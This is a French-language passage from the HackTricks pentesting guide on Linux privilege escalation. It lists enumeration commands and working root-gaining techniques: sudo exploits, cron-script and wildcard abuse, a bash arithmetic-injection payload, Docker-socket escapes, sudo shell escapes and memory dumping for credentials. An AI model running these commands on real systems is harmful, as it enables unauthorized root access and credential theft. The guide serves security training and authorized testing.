..

Linux Privilege Escalation

{{#include ../../banners/hacktricks-training.md}}

Informations système

Infos sur l'OS

Commençons par recueillir des informations sur l'OS en cours d'exécution

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Si vous avez les droits d'écriture sur n'importe quel dossier dans la variable PATH vous pourriez être capable de détourner certaines bibliothèques ou binaires:

echo $PATH

Infos d'environnement

Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ?

(env || set) 2>/dev/null

Kernel exploits

Vérifiez la version du kernel et s'il existe un exploit pouvant être utilisé pour escalate privileges.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Vous pouvez trouver une bonne liste de kernels vulnérables et quelques compiled exploits ici : https://github.com/lucyoa/kernel-exploits et exploitdb sploits.
D'autres sites où vous pouvez trouver des compiled exploits : https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Pour extraire toutes les versions de kernel vulnérables depuis ce site, vous pouvez faire :

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Outils qui peuvent aider à rechercher des exploits pour le kernel :

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (exécuter IN victim, vérifie seulement les exploits pour kernel 2.x)

Toujours rechercher la version du kernel sur Google, il se peut que votre version du kernel soit mentionnée dans un exploit et alors vous serez sûr que cet exploit est valide.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo version

Basé sur les versions vulnérables de sudo qui apparaissent dans :

searchsploit sudo

Vous pouvez vérifier si la version de sudo est vulnérable en utilisant ce grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

De @sickrov

sudo -u#-1 /bin/bash

Dmesg : échec de la vérification de la signature

Consultez smasher2 box of HTB pour un exemple montrant comment cette vuln pourrait être exploitée.

dmesg 2>/dev/null | grep "signature"

Plus d'énumération du système

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Énumérer les défenses possibles

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Si vous êtes à l'intérieur d'un conteneur docker vous pouvez essayer d'en sortir :

{{#ref}} docker-security/ {{#endref}}

Disques

Vérifiez ce qui est monté et démonté, où et pourquoi. Si quelque chose est démonté vous pouvez essayer de le monter et vérifier s'il contient des informations privées

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Logiciels utiles

Énumérer les binaires utiles

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Vérifiez aussi si un compilateur est installé. Cela est utile si vous devez utiliser un kernel exploit, car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Logiciels vulnérables installés

Vérifiez la version des paquets et services installés. Peut-être qu'il existe une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour escalating privileges…
Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects.

dpkg -l #Debian
rpm -qa #Centos

Si vous avez un accès SSH à la machine vous pouvez également utiliser openVAS pour vérifier les logiciels installés à l'intérieur de la machine qui sont obsolètes ou vulnérables.

[!NOTE] > Notez que ces commandes afficheront beaucoup d'informations qui seront en grande partie inutiles ; il est donc recommandé d'utiliser des applications comme OpenVAS ou équivalentes qui vérifieront si une version d'un logiciel installé est vulnérable à des exploits connus

Processus

Jetez un œil à ce qui est exécuté et vérifiez si un processus a plus de privilèges qu'il ne devrait (par exemple un tomcat exécuté par root ?)

ps aux
ps -ef
top -n 1

Vérifiez toujours la présence possible de electron/cef/chromium debuggers en cours d'exécution — vous pourriez en abuser pour obtenir une élévation de privilèges. Linpeas détecte ceux-ci en vérifiant le paramètre --inspect dans la ligne de commande du processus.
Vérifiez aussi vos privilèges sur les binaires des processus — vous pourriez en écraser un.

Process monitoring

Vous pouvez utiliser des outils comme pspy pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables qui s'exécutent fréquemment ou lorsque certaines conditions sont remplies.

Process memory

Certains services d'un serveur enregistrent des credentials en clair dans la mémoire.
Normalement vous aurez besoin de root privileges pour lire la mémoire de processus appartenant à d'autres utilisateurs ; par conséquent, ceci est généralement plus utile lorsque vous êtes déjà root et souhaitez découvrir d'autres credentials.
Cependant, souvenez-vous qu'en tant qu'utilisateur régulier vous pouvez lire la mémoire des processus que vous possédez.

Warning

Notez qu'aujourd'hui la plupart des machines n'autorisent pas ptrace par défaut, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non privilégié.

Le fichier /proc/sys/kernel/yama/ptrace_scope contrôle l'accessibilité de ptrace :

  • kernel.yama.ptrace_scope = 0: tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est la façon classique dont ptrace fonctionnait.
  • kernel.yama.ptrace_scope = 1: seul un processus parent peut être débogué.
  • kernel.yama.ptrace_scope = 2: Seul l'admin peut utiliser ptrace, car cela requiert la capability CAP_SYS_PTRACE.
  • kernel.yama.ptrace_scope = 3: Aucun processus ne peut être tracé avec ptrace. Une fois réglé, un redémarrage est nécessaire pour réactiver le traçage via ptrace.

GDB

Si vous avez accès à la mémoire d'un service FTP (par exemple) vous pouvez obtenir le Heap et rechercher à l'intérieur ses credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Script GDB

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Pour un ID de processus donné, maps montrent comment la mémoire est mappée dans l'espace d'adresses virtuel de ce processus ; elles montrent aussi les permissions de chaque région mappée. Le pseudo-fichier mem expose la mémoire du processus lui-même. À partir du fichier maps nous savons quelles régions mémoire sont lisibles et leurs offsets. Nous utilisons ces informations pour seek into the mem file and dump all readable regions dans un fichier.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem fournit l'accès à la mémoire physique du système, et non à la mémoire virtuelle. L'espace d'adresses virtuelles du kernel est accessible via /dev/kmem.
Typiquement, /dev/mem n'est lisible que par root et le groupe kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump pour linux

ProcDump est une réinvention pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Téléchargez-le sur https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Outils

Pour dump la mémoire d'un processus vous pouvez utiliser :

Identifiants depuis la mémoire du processus

Exemple manuel

Si vous constatez que le processus authenticator est en cours d'exécution :

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Vous pouvez dump le processus (voir les sections précédentes pour trouver différentes façons de dump la mémoire d'un processus) et rechercher des credentials dans la mémoire :

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

L'outil https://github.com/huntergregal/mimipenguin va voler des identifiants en clair depuis la mémoire et depuis certains fichiers bien connus. Il nécessite les privilèges root pour fonctionner correctement.

Fonctionnalité Nom du processus
GDM password (Kali Desktop, Debian Desktop) gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) gnome-keyring-daemon
LightDM (Ubuntu Desktop) lightdm
VSFTPd (Active FTP Connections) vsftpd
Apache2 (Active HTTP Basic Auth Sessions) apache2
OpenSSH (Active SSH Sessions - Sudo Usage) sshd:

Expressions régulières de recherche/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Tâches planifiées / Cron jobs

Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité wildcard ? Peut-on modifier des fichiers utilisés par root ? Utiliser des symlinks ? Créer des fichiers spécifiques dans le répertoire utilisé par root ?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron path

Par exemple, à l'intérieur de /etc/crontab vous pouvez trouver le PATH : PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Remarquez que l'utilisateur "user" a des droits d'écriture sur /home/user)

Si dans ce crontab l'utilisateur root tente d'exécuter une commande ou un script sans définir le PATH. Par exemple : * * * * root overwrite.sh
Alors, vous pouvez obtenir un root shell en utilisant :

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron utilisant un script avec un wildcard (Wildcard Injection)

Si un script exécuté par root contient un “*” dans une commande, vous pouvez exploiter cela pour obtenir des comportements inattendus (comme privesc). Exemple:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Si le wildcard est précédé d'un chemin comme /some/path/*, il n'est pas vulnérable (même ./* ne l'est pas).

Lisez la page suivante pour plus d'astuces d'exploitation des wildcard :

{{#ref}} wildcards-spare-tricks.md {{#endref}}

Bash arithmetic expansion injection in cron log parsers

Bash effectue parameter expansion et command substitution avant arithmetic evaluation dans ((...)), $((...)) et let. Si un cron/parser exécuté en root lit des champs de log untrusted et les place dans un arithmetic context, un attaquant peut injecter une command substitution $(...) qui s'exécute en tant que root lorsque le cron tourne.

  • Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like $(/bin/bash -c 'id > /tmp/pwn')0 is first substituted (running the command), then the remaining numeric 0 is used for the arithmetic so the script continues without errors.

  • Typical vulnerable pattern:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Exploitation : Faire écrire du texte contrôlé par l'attaquant dans le log parsé de sorte que le champ ressemblant à un nombre contienne une command substitution et se termine par un chiffre. Assurez-vous que votre commande n'écrit pas sur stdout (ou redirigez-la) afin que l'arithmétique reste valide.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Si vous pouvez modifier un cron script exécuté par root, vous pouvez obtenir un shell très facilement:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Si le script exécuté par root utilise un répertoire auquel vous avez un accès total, il peut être utile de supprimer ce dossier et de créer un symlink vers un autre répertoire servant un script contrôlé par vous

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Cron jobs fréquents

Vous pouvez surveiller les processus pour rechercher ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en tirer parti et escalate privileges.

Par exemple, pour surveiller toutes les 0.1s pendant 1 minute, trier par commandes les moins exécutées et supprimer les commandes les plus exécutées, vous pouvez faire :

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Vous pouvez aussi utiliser pspy (cela surveillera et listera chaque processus qui démarre).

Cron jobs invisibles

Il est possible de créer un cronjob en mettant un retour chariot après un commentaire (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère retour chariot):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Services

Fichiers .service modifiables en écriture

Vérifiez si vous pouvez écrire un fichier .service, si c'est le cas, vous pourriez le modifier afin qu'il exécute votre backdoor lorsque le service est démarré, redémarré ou arrêté (vous devrez peutêtre attendre que la machine soit redémarrée).
Par exemple, créez votre backdoor dans le fichier .service avec ExecStart=/tmp/script.sh

Binaires de service modifiables en écriture

Gardez à l'esprit que si vous avez des permissions d'écriture sur des binaires exécutés par des services, vous pouvez les modifier pour y placer des backdoors de sorte que lorsque les services seront ré-exécutés, les backdoors seront exécutées.

systemd PATH - Chemins relatifs

Vous pouvez voir le PATH utilisé par systemd avec :

systemctl show-environment

Si vous trouvez que vous pouvez write dans n'importe lequel des dossiers du chemin, vous pouvez être en mesure de escalate privileges. Vous devez rechercher des chemins relatifs utilisés dans les fichiers de configuration des services tels que :

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Ensuite, créez un exécutable portant le même nom que le binaire du chemin relatif dans le dossier PATH de systemd sur lequel vous pouvez écrire, et lorsque le service est invité à exécuter l'action vulnérable (Start, Stop, Reload), votre backdoor sera exécutée (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser sudo -l).

En savoir plus sur les services avec man systemd.service.

Timers

Timers sont des fichiers d'unité systemd dont le nom se termine par **.timer** et qui contrôlent des fichiers **.service** ou des événements. Les Timers peuvent être utilisés comme alternative à cron car ils prennent en charge nativement les événements basés sur le calendrier et les événements basés sur le temps monotone, et peuvent s'exécuter de manière asynchrone.

Vous pouvez énumérer tous les timers avec :

systemctl list-timers --all

Timers accessibles en écriture

Si vous pouvez modifier un timer, vous pouvez lui faire exécuter certains éléments existants de systemd.unit (comme un .service ou un .target)

Unit=backdoor.service

Dans la documentation vous pouvez lire ce qu'est la Unit :

L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur correspond par défaut à un service qui a le même nom que l'unité timer, à l'exception du suffixe. (Voir cidessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité timer soient identiques, à l'exception du suffixe.

Par conséquent, pour abuser de cette permission vous devrez :

  • Trouver une unité systemd (comme une .service) qui exécute un binaire accessible en écriture
  • Trouver une unité systemd qui exécute un chemin relatif et sur laquelle vous avez des privilèges d'écriture sur le systemd PATH (pour usurper cet exécutable)

Pour en savoir plus sur les timers, utilisez man systemd.timer.

Activation du timer

Pour activer un timer, vous avez besoin des privilèges root et d'exécuter :

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Notez que le timer est activé en créant un symlink vers lui sur /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) permettent la communication entre processus sur la même machine ou sur des machines différentes dans des modèles client-serveur. Ils utilisent des fichiers descripteurs Unix standard pour la communication inter-machines et sont configurés via des fichiers .socket.

Sockets can be configured using .socket files.

En savoir plus sur les sockets avec man systemd.socket. Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés :

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction : Ces options diffèrent mais servent en résumé à indiquer où le socket va écouter (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.)
  • Accept : Prend un argument booléen. Si true, une instance de service est lancée pour chaque connexion entrante et seul le socket de connexion lui est passé. Si false, tous les sockets d'écoute eux-mêmes sont passés à l'unité de service démarrée, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les datagram sockets et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. Defaults to false. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons uniquement d'une manière adaptée à Accept=no.
  • ExecStartPre, ExecStartPost : Prend une ou plusieurs lignes de commande, qui sont exécutées avant ou après que les sockets/FIFOs d'écoute soient créés et liés, respectivement. Le premier jeton de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus.
  • ExecStopPre, ExecStopPost : Commandes supplémentaires qui sont exécutées avant ou après que les sockets/FIFOs d'écoute soient fermés et supprimés, respectivement.
  • Service : Spécifie le nom de l'unité de service à activer sur le trafic entrant. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il prend par défaut le service qui porte le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option.

Writable .socket files

Si vous trouvez un fichier .socket writable vous pouvez ajouter au début de la section [Socket] quelque chose comme : ExecStartPre=/home/kali/sys/backdoor et le backdoor sera exécuté avant que le socket soit créé. Par conséquent, vous devrez probablement attendre que la machine soit rebooted.
Notez que le système doit utiliser cette configuration de fichier socket sinon le backdoor ne sera pas exécuté

Writable sockets

Si vous identifiez un socket writable (ici nous parlons des Unix Sockets et non des fichiers de config .socket), alors vous pouvez communiquer avec ce socket et peut-être exploiter une vulnérabilité.

Enumerate Unix Sockets

netstat -a -p --unix

Connexion brute

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

{{#ref}} socket-command-injection.md {{#endref}}

HTTP sockets

Notez qu'il peut y avoir certains sockets listening for HTTP requests (je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets). Vous pouvez vérifier cela avec:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

If the socket répond à une requête HTTP, alors vous pouvez communiquer avec lui et peut-être exploiter une vulnérabilité.

Socket Docker accessible en écriture

Le socket Docker, souvent situé à /var/run/docker.sock, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur root et les membres du groupe docker. Disposer d'un accès en écriture à ce socket peut conduire à une escalade de privilèges. Voici une répartition de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible.

Escalade de privilèges avec Docker CLI

Si vous avez un accès en écriture au socket Docker, vous pouvez élever les privilèges en utilisant les commandes suivantes :

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Utiliser directement l'API Docker

Si le Docker CLI n'est pas disponible, le socket Docker peut néanmoins être manipulé en utilisant l'API Docker et des commandes curl.

  1. List Docker Images: Récupérer la liste des images disponibles.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Create a Container: Envoyer une requête pour créer un container qui monte le répertoire racine du système hôte.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Démarrer le container nouvellement créé :

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Attach to the Container: Utilisez socat pour établir une connexion au container, permettant l'exécution de commandes à l'intérieur.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Après avoir établi la connexion socat, vous pouvez exécuter des commandes directement dans le container avec un accès root au système de fichiers de l'hôte.

Autres

Notez que si vous avez des permissions d'écriture sur le docker socket parce que vous êtes inside the group docker vous avez more ways to escalate privileges. Si l'docker API is listening in a port you can also be able to compromise it.

Consultez plus de façons de s'échapper de docker ou de l'abuser pour escalader les privilèges dans :

{{#ref}} docker-security/ {{#endref}}

Containerd (ctr) Escalade de privilèges

Si vous constatez que vous pouvez utiliser la commande ctr, lisez la page suivante car vous pourriez être capable de l'abuser pour escalader les privilèges :

{{#ref}} containerd-ctr-privilege-escalation.md {{#endref}}

RunC Escalade de privilèges

Si vous constatez que vous pouvez utiliser la commande runc, lisez la page suivante car vous pourriez être capable de l'abuser pour escalader les privilèges :

{{#ref}} runc-privilege-escalation.md {{#endref}}

D-Bus

D-Bus est un système sophistiqué de communication inter-processus (IPC) qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications.

Le système est polyvalent, supportant des IPC de base qui améliorent l'échange de données entre processus, rappelant enhanced UNIX domain sockets. De plus, il facilite la diffusion d'événements ou de signaux, favorisant une intégration fluide entre les composants du système. Par exemple, un signal d'un démon Bluetooth annonçant un appel entrant peut demander à un lecteur audio de se mettre en sourdine, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les requêtes de service et les invocations de méthodes entre applications, rationalisant des processus traditionnellement complexes.

D-Bus fonctionne selon un modèle allow/deny, gérant les permissions de messages (appels de méthodes, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une escalade de privilèges via l'exploitation de ces permissions.

Un exemple d'une telle politique dans /etc/dbus-1/system.d/wpa_supplicant.conf est fourni, détaillant les permissions pour l'utilisateur root d'être propriétaire, d'envoyer et de recevoir des messages de fi.w1.wpa_supplicant1.

Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Apprenez comment énumérer et exploiter une communication D-Bus ici :

{{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}}

Réseau

Il est toujours intéressant d'énumérer le réseau et de déterminer la position de la machine.

Énumération générique

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Open ports

Vérifiez toujours les services réseau en cours d'exécution sur la machine avec lesquels vous n'avez pas pu interagir avant d'y accéder :

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Vérifiez si vous pouvez sniff traffic. Si c'est le cas, vous pourriez être en mesure de récupérer des credentials.

timeout 1 tcpdump

Utilisateurs

Énumération générique

Vérifiez qui vous êtes, quels privilèges vous avez, quels utilisateurs sont dans les systèmes, lesquels peuvent login et lesquels ont des root privilèges :

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

UID élevé

Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec UID > INT_MAX d'escalader les privilèges. Plus d'infos: here, here and here.
Exploitez-le en utilisant : systemd-run -t /bin/bash

Groupes

Vérifiez si vous êtes membre d'un groupe qui pourrait vous donner des privilèges root :

{{#ref}} interesting-groups-linux-pe/ {{#endref}}

Presse-papiers

Vérifiez si quelque chose d'intéressant se trouve dans le presse-papiers (si possible)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Politique des mots de passe

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Mots de passe connus

Si vous connaissez un mot de passe de l'environnement, essayez de vous connecter pour chaque utilisateur en utilisant ce mot de passe.

Su Brute

Si cela ne vous dérange pas de faire beaucoup de bruit et que les binaires su et timeout sont présents sur la machine, vous pouvez essayer de brute-force des utilisateurs en utilisant su-bruteforce.
Linpeas avec le paramètre -a tente également de brute-force des utilisateurs.

Abus du $PATH inscriptible

$PATH

Si vous constatez que vous pouvez écrire dans un dossier du $PATH, vous pourriez être capable d'escalader vos privilèges en créant un backdoor dans le dossier inscriptible portant le nom d'une commande qui sera exécutée par un autre utilisateur (idéalement root) et qui n'est pas chargée depuis un dossier situé avant votre dossier inscriptible dans le $PATH.

SUDO and SUID

Il se peut que vous soyez autorisé à exécuter certaines commandes avec sudo ou que des binaires aient le bit suid. Vérifiez-le en utilisant :

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Certaines commandes inattendues vous permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande. Par exemple :

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

La configuration de Sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître le mot de passe.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

Dans cet exemple, l'utilisateur demo peut exécuter vim en tant que root, il est alors trivial d'obtenir un shell en ajoutant une clé ssh dans le répertoire root ou en appelant sh.

sudo vim -c '!sh'

SETENV

Cette directive permet à l'utilisateur de définir une variable d'environnement lors de l'exécution de quelque chose:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Cet exemple, based on HTB machine Admirer, était vulnerable au PYTHONPATH hijacking pour charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root :

